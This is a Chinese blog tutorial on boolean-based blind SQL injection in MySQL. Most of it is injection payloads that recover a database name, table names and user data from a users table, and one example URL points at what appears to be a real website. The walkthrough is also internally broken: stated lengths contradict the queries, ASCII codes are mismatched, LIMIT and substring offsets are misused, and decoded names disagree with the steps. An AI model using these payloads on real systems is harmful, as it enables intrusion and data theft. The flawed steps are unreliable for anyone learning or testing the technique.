基于 MySQL 布尔值的 SQL 盲注

admin 2022年2月11日11:10:41评论50 views字数 3860阅读12分52秒阅读模式

识别漏洞

        通常在 Blind SQLi 中,您无法真正看到您输入的查询的输出。在这种情况下,验证漏洞的唯一方法是查看网站是否成功/部分加载。

使用以下查询来识别网站行为:

http://domain.com/index.php?id=1' AND 4570=4570 AND 'ZeoB'='ZeoB


页面完全加载成功。

http://www.nttbworld.com/tour-details.php?id=65' AND 4570=4570 AND 'ZeoB'='ZeoBFalse


页面将部分加载或什至不会加载。

检索数据库

检索数据库名称的长度

给定的查询将验证数据库是否有 14 个字符。

http://domain.com/index.php?id=1' AND (length(database())) = 15 --+


如果网站部分加载或不加载,则表示数据库不是 10 个字符长。

给定的查询将验证数据库是否有 9 个字符。

http://domain.com/index.php?id=1' AND (length(database())) = 11 --+


页面加载成功。数据库名称长度为 11 个字符。


检索数据库名称

        这种方法很慢,因为我们必须对数据库的每个字符进行命中或未命中。下面就让我们一起来看看吧。下表将帮助我们将 ascii 转换为字符串。

给定的查询将定义数据库名称的第一个字符是 111 (o)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 110 --+


网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。

给定的查询将定义数据库名称的第一个字符是 110 (n)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),1,1))) > 109 --+


网站完全加载,这意味着数据库的第一个字符是n

继续枚举数据库名称的第二个字符。

给定的查询将定义数据库名称的第一个字符是 98 (h)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 97 --+


网站没有完全加载,所以我们的条件不正确,让我们尝试另一个 ascii。

给定的查询将定义数据库名称的第一个字符是 116 (t)

http://domain.com/index.php?id=1' AND (ascii(substr((select database()),2,1))) > 115 --+


网站完全加载,这意味着数据库的第二个字符是t

继续一遍又一遍地执行相同的过程,直到找到所有 11 个字符。

第一个字符:110 -> n
第二个字符:116 -> t
第三个字符:116 -> t
第四个字符:104 -> h
第五个字符:119 -> w
第六个字符:102 -> f
第七个字符:105 -> i
第八个字符:57 -> 9
第 九 个字符:95 -> _
第 十 个字符:100 -> d
第 十一 个字符:98 -> b

所有 11 个字符组合在一起将是数据库名称:ntthwfi9_db

检索表名的长度

给定查询将测试第一个表的字符串长度是否等于 4 的条件。

' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 4 --+


网站没有正常加载,如果长度是5个字符我们试试:

' AND (length((select table_name from information_schema.tables where table_schema=database() limit 0,1))) = 5 --+


网站加载完全,所以第一个表名的长度是5。

注意:您也可以通过更改这部分有效负载中的数值来枚举其他表:(限制0 ,1)。只需用另一个号码替换它。例如,让我们看看第 4 列是否有 6 个字符:

' AND (length((select table_name from information_schema.tables where table_schema=database() limit 3,1))) = 6 --+


检索表名的名称

在这种情况下,我将列举第一列。让我们找到表格的第一个字符:

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 108 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 114 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1) ,1,1))) > 116 --+


网站完全加载,这意味着第一个字符是 ascii 117 (u)。

让我们找到表格的最后一个字符(第 5 个字符):

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 96 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 105 --+


网站无法正常加载,错误响应。

' AND (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 4,1) ,1,1))) > 114 --+


网站满载,这意味着第一个字符是ascii 115(s)。

继续对其他字符执行相同的过程,直到找到所有字符。

第一个字符:110 -> u
第二个字符:115 -> s
第三个字符:101 -> e
第四个字符:114 -> r
第五个字符:115 -> s

所有 5 个字符组合在一起将是第一个表名:users

检索列名的长度

使用与之前相同的方法,枚举列名的长度。

下面给出的查询将测试字符串长度是否等于 6:

' AND (length((select username from users limit 0,1))) = 6 --+


网站加载不正确,列不是 6 个字符长。

下面给出的查询将测试字符串长度是否等于 4:

' AND (length((select username from users limit 0,1))) = 4 --+


网站已完全加载,列长度为 6 个字符。

使用相同的方法,您还可以枚举其他列。

枚举第二列的长度是否为 6:

' AND (length((select username from users limit 1,1))) = 6 --+


枚举第三列的长度是否为 5:

' AND (length((select username from users limit 2,1))) = 5 --+


检索列名

既然我们知道列名的长度是4,那么我们来一一找出字符。

下面给出的查询将测试第一个列名的第一个字符是否为 ascii 101 (e):

' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 100 --+


网站没有正确加载,第一个字符不是e

下面给出的查询将测试第一个列名的第一个字符是否为 ascii 112 (p):

' AND (ascii(substr((select username from users limit 0,1) ,1,1))) > 111 --+


网站未正确加载,第一个字符为p

下面给出的查询将测试第一列名称的第二个字符是否为 ascii 97 (a):

' AND (ascii(substr((select username from users limit 1,1) ,1,1))) > 96 --+


网站未正确加载,第二个字符为 a

下面给出的查询将测试第一列名称的第三个字符是否为 ascii 115 (s):

' AND (ascii(substr((select username from users limit 2,1) ,1,1))) > 114 --+


网站未正确加载,第三个字符为s

下面给出的查询将测试第一列名称的第四个字符是否为 ascii 115 (s):

' AND (ascii(substr((select username from users limit 3,1) ,1,1))) > 114 --+


网站未正确加载,第四个字符为s

第一个字符:110 -> p

第二个字符:97 -> a 

第三个字符:115 -> s

第四个字符:115 ->s

所有 4 个字符组合在一起将是列表名称:pass





基于 MSSQL 错误的 SQL 注入

基于 MySQL 错误的 SQL 注入



基于 MySQL 布尔值的 SQL 盲注


原文始发于微信公众号(Khan安全攻防实验室):基于 MySQL 布尔值的 SQL 盲注

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2022年2月11日11:10:41
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   基于 MySQL 布尔值的 SQL 盲注http://cn-sec.com/archives/773693.html

发表评论

匿名网友 填写信息